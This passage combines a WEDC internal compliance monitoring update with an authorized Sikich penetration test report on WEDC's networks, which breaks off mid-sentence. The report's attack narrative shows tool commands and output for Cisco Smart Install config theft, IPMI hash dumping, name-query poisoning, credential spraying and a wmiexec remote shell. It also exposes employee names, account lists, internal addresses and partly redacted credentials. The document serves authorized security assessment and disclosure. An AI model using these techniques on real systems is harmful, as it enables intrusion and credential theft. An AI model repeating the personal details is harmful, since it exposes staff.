Documentation reviewed in Salesforce checked that the performance report documentation was uploaded, and
the required certifications and signatures were captured. The areas of review are outlined within the Internal
Monitoring Summary and are broken out into further detail based on programs.
EnABLE Measurements and Information Complete:
The results of EnABLE reviews are based on the compliance and measurements data entry requirements
completed in the EnABLE system. The areas of review are outlined within the Internal Monitoring

Summary and are broken out into further detail based on programs.
Outcomes of the Performance Report Monitoring include:
• WEDC staff is following-up in cases of missing signature. Procedures will be updated to outline the
documents required for each program, and to designate the WEDC staff member responsible for
securing missing documents from the client. Work instructions will be updated to reflect that
performance reports will not be approved without signature and required documentation.
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Follow-up reviews should be conducted on TDL, QNBV, SA and CC programs to outline
differences in performance reporting.
The expected timeliness should be outlined in the performance report process.
The jobs information from a performance report needs to be entered correctly into EnABLE.
Documentation needs to be uploaded to EnABLE In cases where we require and explanation of the
employment variances.
Edits to procedures should more clearly outline the differences in process and requirements for specific
programs. Staff will work to make the appropriate changes.

1st Quarter Update:
The Legislative Audit Bureau (LAB) has starting their bi-annual programmatic and financial audit of WEDC.
The program evaluation audit will analyze the economic development programs that WEDC has administered since July
1, 2011, with a focus on those administered in fiscal year 2018-19. As part of the program evaluation audit, the Audit
Bureau will examine financial awards made under the programs and the results of those awards, assess WEDC’s
management and oversight of the programs, and perform other procedures we deem necessary to analyze the
programs.
The financial audit will take into consideration the financial statement opinion performed by Sikich LLP. As part of the
financial audit, the Audit Bureau will review, and test selected internal control policies and procedures, review selected
accounting transactions, and perform other procedures we deem necessary to assess the financial operations and
position of WEDC. The financial audit will take into consideration the financial statement opinion and single audits
performed by an external firm.
We expect the audit to run through the end of calendar year 2018. We will continue to update the Audit Committee
throughout the audit, and when we receive the results.
The Internal Monitoring team has completed monitoring for Schedule of Expenditures (SOE). A summary of completed
monitoring for SOE, along with the internal monitoring snapshot are attached. The following bullet points provide a
high-level summary of the results of the monitoring completed this quarter. We are in the process of completing
Performance Report monitoring and will outline the details in the Q2 update.
Schedule of Expenditures (SOE): Under the statute 238.03 (3) (a) of the Wisconsin State Legislature, it is required
for the recipient of a loan or a grant of $100,000 or more to submit a Schedule of Expenditures (SOE) to WEDC.
Along with the SOE, the recipient must also submit an Independent Accountant’s Report (IAR) to WEDC. It is due
120 days after the company’s fiscal year end. The Senior Accountant and the Operations and Program
Performance staff work closely with the firm throughout this process.
The SOE monitoring evaluated the following areas of review:
• Submitted Schedule of Expenditures (SOE) forms
• Submitted Independent Auditor Reports (IAR)
• EnABLE Compliance tab
• Salesforce Performance Report folder
• ‘Compliance Collections’ & ‘Contract Setup Issues’ SSRS reports
Through the monitoring process, the observations identified were followed up with suggested solutions. The
Manager responses indicate how WEDC will move forward with the findings. Outcomes from the internal
monitoring observations include:
Submitted SOE forms and IAR:
In total, the system identified 99 awards that had SOE and IAR forms submitted between 7/1/2017 and
6/21/2018.
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EnABLE Compliance tab:
The following results are based on compliance items required in the EnABLE system:
• SOE compliance item in EnABLE: 95/95 = 100% 1
• ‘Submitted by’ & ‘Submitted Date’ fields in EnABLE complete: 93/95 = 97.9% 2
• ‘Approved Name’ & ‘Approved Date’ fields in EnABLE complete: 76/78 = 97.4% 3
• Additional SOE line was created in EnABLE 30/64 = 46.9%
WEDC staff annually reviews the information submitted to determine whether the contractual SOE
requirements have been met. If not, an addition SOE line is created in EnABLE. to document when the
next SOE is due. In this monitoring 64 of the 78 awards required an additional SOE line to be
scheduled. Of those, 30 had all data points entered correctly. Of the 34 that were incomplete, the
following identifies the specific data points that were missing.
o Missing additional SOE line error rate: 4/34 = 12%
o ‘Status’ field on new SOE line not updated to ‘Future’ error rate: 5/34 = 15%
o Missing period dates on new SOE line error rate: 25/34 = 73%
Salesforce Performance Report folder:
Documentation in Salesforce consists of scanned documentation of the submitted SOE and IAR. Here are the
results based on the 78 awards that were reviewed:
• SOE and/or IAR uploaded in Salesforce: 77/78 = 98.7%
• Approved SOE form is complete: 67/78 = 85.9%
• Approved IAR is complete: 66/78 = 84.6%
‘Compliance Collections’ & ‘Contract Setup Issues’ SSRS reports:
Along with the submitted SOEs a check on the initial compliance SOE setup was conducted for grants and loans
with award amount of or above $100,000 contracted from 1/1/2017 to 6/30/2018:
• Initial SOE compliance item created in EnABLE: 138/144 = 95.8%
Outcomes of the Schedule of Expenditures include:
• Updates to the procedure around the SOE/IAR review process. Include directions to note in EnABLE that
the SOE/IAR is under review
• Clarify follow-up with recipients if the SOE is outstanding
• SOE’s will only be approved after confirmation that all information is complete
In addition to the Q1 Compliance Report, attachments have been included that detail the internal monitoring outlined
in this report.
4. Reporting, Investigating, and Outcomes
2nd Quarter Update:
Changes to the Code of Ethics and Conduct (COEC) were sent to the WEDC staff.
To ensure the WEDC Board of Directors understand and comply with statutes and governance requirements of WEDC.,
they will be receiving updated orientation training and materials at the January 2019 meeting. The materials will
include:
• Budget and Operations Plan
• Current Bylaws
• COEC
1

Out of the 99 awards selected, only 95 were tested under this standard as 4 had voided SOE compliance items due to closeouts
Out of the 95 awards tested, 2 were inadvertently identified in the system as having a completed SOE without a submitted SOE
3 An additional 15 awards were eliminated from the testing sample (78 = 99-4-2-15) because while SOE and/or IAR forms were
submitted & uploaded, all steps required per the SOE procedure were not yet completed, which prevented the team from
completing a full audit of these awards
2
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WEDC Board Resolutions
Board Committee Charters
Applicable Statutes
Board Ethics Policy
Public Records Manual
Open Meetings Manual

1st Quarter Update:
WEDC continues to operate with the highest ethical standards. This is outlined within our Code of Ethics and Conduct
(COEC) where the organization’s policies are housed. The Compliance team reviewed ethics section of WEDC’s COEC
and suggested updates to coincide with updates to procedures and best practices. Changes to the COEC will run
through the approval process and all updates to the COEC will be reviewed at the December Board of Directors
meeting.
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PENETRATION TEST REPORT

Executive Summary
Wisconsin Economic Development Corp. (WEDC) engaged Sikich LLP (Sikich) to conduct a series
of penetration tests. Sikich conducted these tests between November 15, 2018 and December 4,
2018.


The external penetration test simulated an attack against the WEDC systems accessible
from the Internet. This type of attack might be carried out by a disgruntled customer, an
ex-employee from a remote location or organized criminals located overseas.



The wireless penetration test simulated a malicious individual attempting to discover
vulnerabilities in WEDC’s wireless configuration or gain access to wireless networks. A
wireless attacker might include organized criminals or hacktivists looking to obtain
sensitive information.



The internal penetration test simulated an attack against the WEDC systems from within
the WEDC internal network. This type of attack might include a rogue employee with
limited access to the WEDC network who is trying to escalate his/her privileges to access
sensitive data or a vendor/contractor who comes on site and plugs a laptop into a
corporate network jack.

Results Summary
Using automated and manual methods, Sikich attempted to discover and exploit system-,
network- and application-layer vulnerabilities.

EXTERNAL TESTING
Sikich did not identify external vulnerabilities that would allow an attacker to gain a
foothold within the WEDC environment. Sikich also conducted password guessing
attempts against external VPN services and did not identify easily-guessable passwords
in use by accounts Sikich identified during reconnaissance.

WIRELESS TESTING
Sikich identified wireless networks in the WEDC environment and confirmed their
presence with WEDC staff. Sikich observed that the open guest network required users
to agree to a captive portal use agreement. Encrypted networks made use of robust AES
encryption. Sikich did not observe any systems authenticating to the encrypted networks
during the timeframe of the test and, therefore, could not attempt to capture traffic or
crack the wireless password in use.

INTERNAL TESTING
Sikich identified systems that did not require authentication to gain access to network
router configurations within the WEDC network. While Sikich did not gain further access
to these routers or other devices in the WEDC environment via the information Sikich
found in the configuration files, this information could prove useful to an attacker under

Copyright © 2019 Sikich LLP. All rights reserved. This document may contain information that is privileged,
confidential, or otherwise protected from disclosure and is only authorized to be used and viewed by
Wisconsin Economic Development Corp. Distribution or copying is strictly prohibited.

4

PENETRATION TEST REPORT

different circumstances. For example, an attacker willing to risk modifying a router’s
running configuration could update it to give himself or herself access to the operating
system. Sikich did not engage in this attack due to concerns about impacting system
uptime.
Sikich abused default security configurations and weak password policy requirements to
eventually take complete control over WEDC devices and user accounts. Sikich used the
access to browse network shares and identify WEDC customer information. An attacker
could steal this information or misuse this access to engage in attacks on WEDC clients
by abusing the trust between WEDC and their clients.
The count of vulnerabilities for the entire penetration test was:

High

Medium

Low

5

3

---

UPDATED FEBRUARY 12, 2019
WEDC demonstrated that they resolved all but one of the identified exploitable medium- and highrisk vulnerabilities found during the penetration test.
For the remaining Weak Password Policy vulnerability, WEDC stated that they were working
toward fixing the vulnerability in 2019.
Following remediation, the count of vulnerabilities was:

High

Medium

Low

1

---

---

This penetration test was a point-in-time measurement. It was limited in time and resources,
whereas a real attacker may not be. New security vulnerabilities are discovered every day. As a
result, it is nearly impossible to identify all vulnerabilities within an environment or application.
WEDC should perform an exhaustive search of their network for vulnerabilities discovered in this
penetration test to verify there are no other instances of these vulnerabilities.
WEDC should continue to review their security posture, including monitoring the results of the
vulnerability scans accessible at https://portal.sikichlabs.com and performing penetration testing
on at least an annual basis.
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Methodology
Sikich performs testing with the cooperation of representatives from WEDC.

Phases
When performing penetration testing, Sikich follows a methodology based on National Institute of
Standards and Technology (NIST) Special Publication 800-115 that encompasses planning,
reconnaissance, vulnerability detection, exploitation and reporting phases.

Planning
Additional Discovery

Reconnaissance

Vulnerability
Detection

Exploitation

Reporting

PHASE I: PLANNING
In the planning phase, Sikich creates a Rules of Engagement document that defines
targets, documents management approval and sets testing goals.

PHASE II: RECONNAISSANCE
In the reconnaissance phase, Sikich attempts to identify and obtain information about the
targets within scope. This includes pertinent information about the organization such as
names and contact information of IT staff, information employees may have posted to
Internet forums or other items Sikich may uncover through focused Internet searches.
Sikich scans targets on commonly used TCP and UDP ports and attempts to identify
active services (e.g., web server, mail server) running. Devices or services that are
powered off, offline or inaccessible during scanning may not yield results. Unexpected
downtime of the target environment may impact the amount of reconnaissance
completed on individual devices or services.
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Sikich also attempts to obtain further information about potential web applications by
searching for pertinent data, including unlinked content, hidden directories and version
numbers of application components.

PHASE III: VULNERABILITY DETECTION
During the vulnerability detection phase, Sikich attempts to discover and validate
vulnerabilities on the systems enumerated in the reconnaissance phase, including by
performing vulnerability scans. Sikich will not attempt to verify each of the vulnerabilities
identified during scanning but provides the results of automated testing to WEDC.
Sikich utilizes updated vulnerability detection methods and tools based on the most
recent threats and techniques identified. Through testing of the targeted systems and
services, Sikich focuses on discovering vulnerabilities in five (5) domains:


Application Security – Strengths and weaknesses of application code,
configuration, patch levels and protection of data that resides in the application



Access Control – Strengths and weaknesses of controls over files, directories,
web content and other data



Network Security – Strengths and weaknesses of networking devices and
security of network traffic



Operating System Security – Strengths and weaknesses of operating systems’
security (e.g., Windows, UNIX)



User Management – Security of user accounts, passwords and other unique
identifiers

For web application testing, Sikich focuses on discovering the Top 10 Web Application
Security Vulnerabilities identified by the Open Web Application Security Project
(OWASP). At the time of testing, these were:


Injection Flaws – Injection flaws, such as SQL, NoSQL, OS and LDAP injection,
occur when untrusted data is sent to an interpreter as part of a command or
query. The attacker's hostile data can trick the interpreter into executing
unintended commands or accessing data without proper authorization.



Broken Authentication – Application functions related to authentication and
session management are often implemented incorrectly, allowing attackers to
compromise passwords, keys, or session tokens, or to exploit other
implementation flaws to assume other users' identities temporarily or
permanently.



Sensitive Data Exposure – Many web applications and APIs do not properly
protect sensitive data, such as financial, healthcare, and PII. Attackers may
steal or modify such weakly protected data to conduct credit card fraud, identity
theft, or other crimes. Sensitive data may be compromised without extra
protection, such as encryption at rest or in transit, and requires special
precautions when exchanged with the browser.
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XML External Entities (XXE) – Many older or poorly configured XML processors
evaluate external entity references within XML documents. External entities can
be used to disclose internal files using the file URI handler, internal file shares,
internal port scanning, remote code execution and denial of service attacks.



Broken Access Control – Restrictions on what authenticated users are allowed to
do are often not properly enforced. Attackers can exploit these flaws to access
unauthorized functionality and/or data, such as access other users' accounts,
view sensitive files, modify other users' data, change access rights, etc.



Security Misconfiguration – Security misconfiguration is the most commonly seen
issue. This is commonly a result of insecure default configurations, incomplete
or ad hoc configurations, open cloud storage, misconfigured HTTP headers and
verbose error messages containing sensitive information. Not only must all
operating systems, frameworks, libraries, and applications be securely
configured, but they must be patched/upgraded in a timely fashion.



Cross-Site Scripting (XSS) – XSS flaws occur whenever an application includes
untrusted data in a new web page without proper validation or escaping, or
updates an existing web page with user-supplied data using a browser API that
can create HTML or JavaScript. XSS allows attackers to execute scripts in the
victim's browser which can hijack user sessions, deface web sites or redirect
the user to malicious sites.



Insecure Deserialization – Insecure deserialization often leads to remote code
execution. Even if deserialization flaws do not result in remote code execution,
they can be used to perform attacks, including replay attacks, injection attacks
and privilege escalation attacks.



Using Components with Known Vulnerabilities – Components, such as libraries,
frameworks and other software modules, run with the same privileges as the
application. If a vulnerable component is exploited, such an attack can facilitate
serious data loss or server takeover. Applications and APIs using components
with known vulnerabilities may undermine application defenses and enable
various attacks and impacts.



Insufficient Logging & Monitoring – Insufficient logging and monitoring, coupled
with missing or ineffective integration with incident response, allows attackers to
further attack systems, maintain persistence, pivot to more systems and tamper,
extract or destroy data. Most breach studies show time to detect a breach is
over 200 days, typically detected by external parties rather than internal
processes or monitoring.

In situations where multiple instances of a web application exist, WEDC may elect to
have Sikich perform the majority of its testing against a representative sample. Sikich will
provide details about specific sampled instances within the Testing Scope and Attack
Narrative sections of the report. If Sikich does not review all instances of the web
applications, WEDC should perform follow-up testing on all instances, especially those
that are exposed externally to the Internet.
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PHASE IV: EXPLOITATION
In the exploitation phase, Sikich takes the vulnerability information and uses it to obtain
access to otherwise restricted data, take control of systems, impersonate users and
perform other actions designed to demonstrate the potential consequences of the
vulnerabilities discovered. During this phase, Sikich also attempts to chain exploits in
sequence to further penetrate WEDC systems, escalate access privileges to systems and
identify additional vulnerabilities.
As this engagement has clear goals and is limited by time, Sikich prioritizes attack paths
that could lead to system-level access or sensitive information. Sikich may not attempt to
identify or validate every vulnerability that could potentially exist in the tested
environment.

Denial of Service
Sikich neither attempts to exploit denial of service (DoS) vulnerabilities, nor conducts
activities that have the potential to significantly affect normal business operations. When
Sikich encounters evidence of vulnerabilities or suspects that such vulnerabilities exist,
Sikich documents the evidence as a finding. WEDC should further investigate these
vulnerabilities in a controlled environment, as an attacker could exploit these
vulnerabilities without regard to the availability of the WEDC systems.

PHASE V: REPORTING
In the reporting phase, Sikich documents discovered vulnerabilities, attempts at
exploitation and recommended remediation actions. Sikich also records the results of
WEDC efforts made toward remediating identified vulnerabilities.
As part of its testing methodology, Sikich performs additional discovery, repeating
reconnaissance, vulnerability detection and exploitation phases as needed, as it uncovers more
information or successfully leverages exploits to gain access to additional systems or networks.
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Testing Scope
Sikich received information for the purposes of limiting the testing to WEDC-specified targets.

External Targets
Sikich targeted the following external resources:

IP Address(es)

Description

34.196.166.8

Not used

34.196.186.188

Public IP that pointed to 10.20.1.208

52.1.20.68

Public IP that was assigned to NAT server; pointed to 10.20.1.31

216.56.240.96/30

WiscNet public IP range for Milwaukee location; IP assigned to ASA
outside interface

216.56.240.112/29

WiscNet Public IP range for Madison location; IP assigned to ASA
outside interface

Internal Targets
Sikich targeted resources in the following internal networks and placed an emphasis on
compromising high-risk systems (e.g., the cardholder data environment for testing related to
complying with the Payment Card Industry Data Security Standard (PCI DSS)), as noted by
WEDC:

Network

Description

High Risk

10.10.0.64/26

Management IPs for Madison network devices
outside ASA

X

10.10.0.128/29

Management IPs for Madison network devices
inside ASA

X

10.10.1.0/24

IP range for Madison servers and printers

X

10.10.2.0/24

IP range for wired devices in Madison office

X

10.10.3.0/24

iSCSI VLAN in Madison office

---

10.10.4.0/24

IP range for wireless devices in Madison office

X

10.10.5.0/24

IP range for wireless voice devices in Madison
office

---
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Network

Description

High Risk

10.10.6.0/24

IP range for VoIP devices in Madison office

---

192.168.99.0/24

IP range for guest network devices in Madison
office

X

10.20.8.128/25

IP range for wireless access points in
Milwaukee office

---

10.20.9.0/25

Management IPs for network devices in
Milwaukee office

X

10.20.9.128/25

IP range for VoIP devices in Milwaukee office

---

10.20.0.0/24

IP range for Amazon Web Services (AWS)
servers

X

10.20.1.0/24

IP range for AWS DMZ

X

Sampling
Sikich did not perform additional sampling outside of the methodology and process described
within this document.

Exclusions
This was a targeted penetration test. Sikich excluded other resources not specifically defined
above, including those specified in Appendix A – Reconnaissance, from testing.

Copyright © 2019 Sikich LLP. All rights reserved. This document may contain information that is privileged,
confidential, or otherwise protected from disclosure and is only authorized to be used and viewed by
Wisconsin Economic Development Corp. Distribution or copying is strictly prohibited.

11

PENETRATION TEST REPORT

Attack Narrative
Sikich performed the following as part of the simulated attack against the WEDC environment.

Reconnaissance
Sikich performed both passive and active reconnaissance on the WEDC digital presence, which
focused on enumerating WEDC infrastructure and other pieces of information that could be used
later in the penetration test.
Sikich performed domain-based enumeration using DNS brute forcing and targeted search
queries to try discovering additional hostnames, IP addresses, web applications, sensitive
corporate information and personal details about WEDC employees.
Sikich found emails and plaintext passwords that had been publicly disclosed in connection with
third-party breaches.
$ grep -i -R '@wedc.org' .
./j/e:jennifer.winner@wedc.org:3[redacted]1
./k/e:kelly.lietz@wedc.org:s[redacted]i
Sikich tested these credentials during testing and did not find evidence that the disclosed
passwords were in use.
WEDC should consider implementing a program to proactively monitor publicly-available breach
data for signs of compromised accounts. One site that offers this sort of monitoring is Have I Been

Pwned via its Domain search functionality (https://haveibeenpwned.com/DomainSearch).
Sikich also identified a number of email addresses associated with wedc.org via searches.
For additional reconnaissance information, please see Appendix A – Reconnaissance.

Vulnerability Scanning
After performing reconnaissance, Sikich scanned internal and external hosts for open ports and
listening services, then examined services for vulnerabilities that could be exploited during the
penetration testing. The findings from vulnerability scanning included:


SSL/TLS weaknesses



Unpatched OpenSSH installations



Weak Microsoft Windows Server Message Block (SMB) and Remote Desktop Protocol
(RDP) configurations



Unpatched VMware ESXi installations



Missing Windows patches
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The results of the external vulnerability scanning can be reviewed under the WEDC account on
https://portal.sikichlabs.com. The results of the internal vulnerability scanning can be found in a
provided Excel document (Sikich Internal Vulnerability Scan Results -- WEDC 2018.12.04.xlsx).
WEDC should review the results of these scans for additional findings that may impact the security
of their environment.

External Network Testing
Sikich reviewed external services in an attempt to breach WEDC’s Internet perimeter. Sikich
identified VPN services at 216.56.240.98 (mke.wedc.org) and 216.56.240.114 (vpn.wedc.org).
Sikich did not discover any significant network vulnerabilities within these instances.
Using emails gathered during reconnaissance, Sikich attempted to generate a list of potential
usernames. Sikich used these usernames to engage in a password-spraying attack, where an
attacker attempts to log in to a system using a single, commonly used password, such as
“Winter2018,” with every known account. Sikich was unsuccessful in guessing a user credential
during password-spraying attacks.
Although Sikich only identified a few vulnerabilities on external networks at the time of this test,
WEDC should continue to review the security of all external systems as new vulnerabilities are
discovered daily.

Wireless Network Testing
In preparation for its testing, WEDC provided Sikich with four (4) SSIDs in the Rules of
Engagement.

TESTING RESULTS
Sikich visited both the sixth floor of the Tommy G. Thompson Wheda Commerce Center at the
Madison campus, as well as the fourth floor of the Global Water Center at the Milwaukee campus
to observe WEDC wireless networks.
At the Madison campus, Sikich observed two (2) known wireless access points and one hidden
wireless network, which WEDC confirmed belonged to them.

At the Milwaukee campus, Sikich observed two (2) known wireless access points and two (2)
unknown access points.

Copyright © 2019 Sikich LLP. All rights reserved. This document may contain information that is privileged,
confidential, or otherwise protected from disclosure and is only authorized to be used and viewed by
Wisconsin Economic Development Corp. Distribution or copying is strictly prohibited.

13

PENETRATION TEST REPORT

Sikich was unable to identify if the WEDC-IPHONE access point was a valid target while on site.
The WEDC-Internal access point for both Madison and Milwaukee advertised WPA2 encryption
with MGT authentication. To attempt to break into the WEDC-Internal network, Sikich needed to
capture valid credentials and have the authentication service validate against the WEDC
database.
The WEDC-GUEST access point for both Madison and Milwaukee advertised open encryption.
Sikich confirmed that, once connected, the access point redirected users to a captive web portal
that required users to sign on.
The hidden network with an SSID length of four (4) characters for the Madison office advertised
WPA2 encryption with PSK authentication. To attempt to break into the access point, Sikich
needed to capture the authentication handshake of a connecting device in order to attempt to
crack the key used to authenticate to the network. Sikich did not observe any connected wireless
clients exchanging traffic with the wireless access point.
The WEDC access point for the Milwaukee office advertised WPA2 encryption with PSK
authentication. To attempt to break into the WEDC access point, Sikich needed to capture the
authentication handshake of a connecting device. Sikich did not observe any connected wireless
clients exchanging traffic with the wireless access point.
Sikich did not identify exploitable issues with wireless network configurations during the time on
site at each location.

Internal Network Testing
Sikich began internal testing from within the Madison network at IP addresses 10.10.1.100 and
10.10.2.42. From these starting points, Sikich attempted to gain unauthorized access to systems
and information.

ACCESSIBLE CONFIGURATION INFORMATION
Sikich found that multiple IP addresses appeared to expose the Cisco Smart Install (SMI) service
on port 4786/tcp, including the 10.10.1.1 host. The SMI service is a plug-and-play configuration
management service for Cisco devices. The service does not require authentication. As such,
attackers can interact with it to retrieve, and even modify, device configurations. Sikich used the
SMI service to gain access to the Cisco device configurations.
#./siet.py -g -i 10.10.1.1
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[INFO]: Sending TCP packet to 10.10.1.1
[INFO]: Package send success to 10.10.1.1:
[INFO]: Getting config done
[INFO]: All done! Waiting 60 seconds for end of connections...
-= DvK =- TFTP server 2017(p)
[INFO]: Directory already exists. OK.
[INFO]: binding socket .. ok
[INFO]: connect from 10.10.1.1 1698
[INFO]:[10.10.1.1] puting file 10.10.1.1.conf octet
[INFO]:[10.10.1.1]:[put] success binding data port 44000
[INFO]:[10.10.1.1]:[put] file tftp/10.10.1.1.conf finish download, size:
22137
Sikich reviewed the configuration, which included password hashes for accounts used to manage
the device and plaintext Simple Network Management Protocol (SNMP) strings.
! Last configuration change at 21:10:33 CST Sat Nov 17 2018 by
corebts@wedc.org
! NVRAM config last updated at 21:10:35 CST Sat Nov 17 2018 by
corebts@wedc.org
!
version 15.2
no service pad
service tcp-keepalives-in
service tcp-keepalives-out
service timestamps debug datetime msec localtime show-timezone
service timestamps log datetime msec localtime show-timezone
service password-encryption
service compress-config
!
hostname MAD-3850-2-1
!
[truncated]
enable secret 5 $1$FN[redacted]Q.
!
username asadmin password 7 08[redacted]50
username wedc-tech secret 5 $1$N[redacted]1
username wedc-rancid privilege 15 secret 5 $1$z[redacted]1
username wedc-admin privilege 15 secret 5 $1$X[redacted]1
username corebts password 7 0[redacted]C
aaa new-model
!
!
aaa group server radius NPSRadius
server-private 10.10.1.3 auth-port 1812 acct-port 1813 key 7
05[redacted]11
[truncated]
!
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snmp-server community 4[redacted]N RO 50
snmp-server community C[redacted]C RO
Sikich attempted to crack the password hashes but was unsuccessful within the timeframe of the
test. Sikich found that one of the SNMP strings allowed access to the SMTP service running on
10.10.1.62 and 10.10.1.63. However, Sikich was unable to glean any additional useful information
via SNMP that would allow further its access to the environment.
After reviewing the other devices Sikich identified running the SMI service, Sikich determined that
the IP addresses belonged to the same device.

LACK OF AUTHENTICATION
A number of Network File System (NFS) shares within the WEDC environment were accessible
without authentication. Sikich examined a sample of these shares but was unable to gain access
to any sensitive information or any details that would provide a foothold on the network.

IPMI ISSUES
The Intelligent Platform Management Interface (IPMI) service on port 623/udp on the 10.10.0.72
host had multiple issues, including a lack of authentication due to the presence of the cipher zero
vulnerability, which can allow access to the interface without knowledge of credentials. Sikich
verified that the IPMI service was vulnerable.
msf5 auxiliary(scanner/ipmi/ipmi_cipher_zero) > run
[*] Sending IPMI requests to 10.10.0.72->10.10.0.72 (1 hosts)
[+] 10.10.0.72:623 - IPMI - VULNERABLE: Accepted a session open request
for cipher zero
Furthermore, the IPMI service was vulnerable to user hash enumeration. An attacker would be
able to submit a list of usernames to the service and, if one of the user accounts existed on the
IPMI service, the service would respond with a hash of the user’s password. Sikich used this
vulnerability to gather hashes for the admin user passwords for the IPMI instances on both the
10.10.0.72 and 10.10.0.73 hosts.
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.10.0.72:623 - IPMI - Hash found:
admin:41f[redacted]96e:697[redacted]5b7
[*] Scanned 1 of 2 hosts (50% complete)
[+] 10.10.0.73:623 - IPMI - Hash found:
admin:f20[redacted]96e:c2f[redacted]7be
[*] Scanned 2 of 2 hosts (100% complete)
Sikich was unable to crack these hashes during testing.
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Sikich did not attempt to take advantage of these IPMI issues, as abusing IPMI vulnerabilities
typically requires rebooting a server or taking some action that impacts uptime. A malicious
attacker may not be as concerned with interrupting service to accomplish his or her goals.

NAME QUERY SPOOFING
Sikich used NetBIOS Name Service (NetBIOS), Link-Local Network Multicast Name Resolution
(LLMNR), multicast DNS (mDNS) and Web Proxy Auto-Discovery (WPAD) protocol spoofing to
obtain NetNTLMv2 password hashes for several local workstation users on the 10.10.2.0/24
network.
[*] [NBT-NS] Poisoned answer sent to 10.10.2.39 for name PROXYSRV
(service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.10.2.39 for name PROXYSRV
(service: Workstation/Redirector)
[FINGER] OS Version
: Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[FINGER] OS Version
: Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[Proxy-Auth] NTLMv2 Client
: 10.10.2.39
[Proxy-Auth] NTLMv2 Username : CORP\mtraudt
[Proxy-Auth] NTLMv2 Hash
: mtraudt::CORP:d[redacted]9:62[redacted]00
[Proxy-Auth] User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102
Safari/537.36
Sikich was able to capture more than 25 user password hashes, including those belonging to the

CORP\vrice and CORP\gcass users. Sikich quickly cracked the hash for the CORP\vrice user. By
the end of testing, Sikich successfully cracked three of the NetNTLMv2 hashes acquired via name
query spoofing attacks.
WEDC should consider disabling NetBIOS, LLMNR, mDNS and WPAD protocols in all network
environments to prevent these types of attacks.

GAINING A FOOTHOLD
Sikich used the CORP\vrice user credentials to dump information about Active Directory (AD)
users and computers from the domain controller at 10.10.1.3. This included information about user
accounts, group membership and password policies.
index: 0x2bd6 RID: 0x88b acb: 0x00000010
Steven Sabatke
Desc: (null)
index: 0x3035 RID: 0xe59 acb: 0x00000210
Desc: (null)
index: 0x299f RID: 0xbe4 acb: 0x00002210
Analytics
Desc: (null)
index: 0x2b83 RID: 0xb8b acb: 0x00000010
Shawn Theis
Desc: (null)

Account: ssabatke

Name:

Account: SSIS

Name: SSIS

Account: SSRS

Name: WEDC

Account: stheis
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index: 0x33a3 RID: 0x1042 acb: 0x00020011 Account: suzanne.potter
Name: Suzanne Potter
Desc: (null)
index: 0x2b51 RID: 0x45f acb: 0x00000211 Account: SVC-ADFS2
Name: SVC
ADFS2 Desc: Active Directory Federation Services 2.0
index: 0x2cde RID: 0x95d acb: 0x00000210 Account: SVC-UCMLDAP
Name: SVC
UCMLDAP
Desc: Call Manager LDAP Sync
index: 0x2bd5 RID: 0xaac acb: 0x00000010 Account: tbraun
Name:
Tricia Braun
Desc: (null)
index: 0x2baf RID: 0xba0 acb: 0x00000010 Account: tchitwood
Name:
Tina Chitwood
Desc: (null)
index: 0x316a RID: 0x1023 acb: 0x00000010 Account: tdadmin
Name:
Tenzin Admin
Desc: (null)
index: 0x29d1 RID: 0xb8d acb: 0x00000010 Account: tdhashi
Name:
Tenzin Dhashi
Desc: (null)
index: 0x2b29 RID: 0xb1b acb: 0x00000010 Account: tellestad
Name:
Tami Ellestad
Desc: (null)
index: 0x2ca3 RID: 0xa13 acb: 0x00000210 Account: theghost
Name: The
Ghost in the Machine Desc: Used for SMTP Relay through Office 365
[truncated]
Group 'Domain Admins' (RID: 512) has member: CORP\Jordan Admin
Group 'Domain Admins' (RID: 512) has member: CORP\SAcoreSec
Group 'Domain Admins' (RID: 512) has member: CORP\dzaomoh
Group 'Domain Admins' (RID: 512) has member: CORP\dzadmin
Group 'Domain Admins' (RID: 512) has member: CORP\tdadmin
Group 'Domain Admins' (RID: 512) has member: CORP\gcass
Group 'Domain Admins' (RID: 512) has member: CORP\gcadmin
Group 'Domain Admins' (RID: 512) has member: CORP\smartdeploy
[truncated]
[+] Minimum password length: 7
[+] Password history length: 10
[+] Maximum password age: 89 days 23 hours 54 minutes
[+] Password Complexity Flags: 000001
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

Domain
Domain
Domain
Domain
Domain
Domain

Refuse Password Change: 0
Password Store Cleartext: 0
Password Lockout Admins: 0
Password No Clear Change: 0
Password No Anon Change: 0
Password Complex: 1

Minimum password age: 1 day 4 minutes
Reset Account Lockout Counter: 30 minutes
Locked Account Duration: 30 minutes
Account Lockout Threshold: 20
Forced Log off Time: Not Set
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Sikich used the list of domain users to engage in a password-spraying attack wherein Sikich
attempted to log in as each user with a single, commonly used password (e.g., “Winter2018”).
Sikich was unable to gain access to any additional accounts using this method.
Sikich also attempted to log in to a number of systems with the CORP\vrice user credentials and
identified one system at 10.10.2.22 where the CORP\vrice user had local administrator-level rights.
[+] 10.10.2.18:445 [*] 10.10.2.21:445 [-] 10.10.2.21:445 [*] 10.10.2.22:445 [+] 10.10.2.22:445 Administrator
[*] 10.10.2.30:445 [+] 10.10.2.30:445 [*] Scanned 30 of 59

10.10.2.18:445
10.10.2.21:445
10.10.2.21:445
10.10.2.22:445
10.10.2.22:445

-

Success: 'CORP\vrice:O[redacted]8'
Starting SMB login bruteforce
Could not connect
Starting SMB login bruteforce
Success: 'CORP\vrice:O[redacted]8'

10.10.2.30:445 - Starting SMB login bruteforce
10.10.2.30:445 - Success: 'CORP\vrice:O[redacted]8'
hosts (50% complete)

Gaining Initial Remote Command-Line Access
Sikich used Windows Management Instrumentation (WMI) to get a remote shell on the 10.10.2.22
host using the CORP\vrice credentials.
# ./wmiexec.py CORP/vrice:O[redacted]8@10.10.2.22
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
However, Sikich wanted to get a more interactive shell focused on offensive activity within a target
environment. Sikich wrote a custom shellcode runner program in C#. The shellcode runner could
inject arbitrary shellcode – or malware – into memory when executed. In an effort to keep the
malicious shellcode (payload) from being written to disk and subsequently detected by anti-virus,
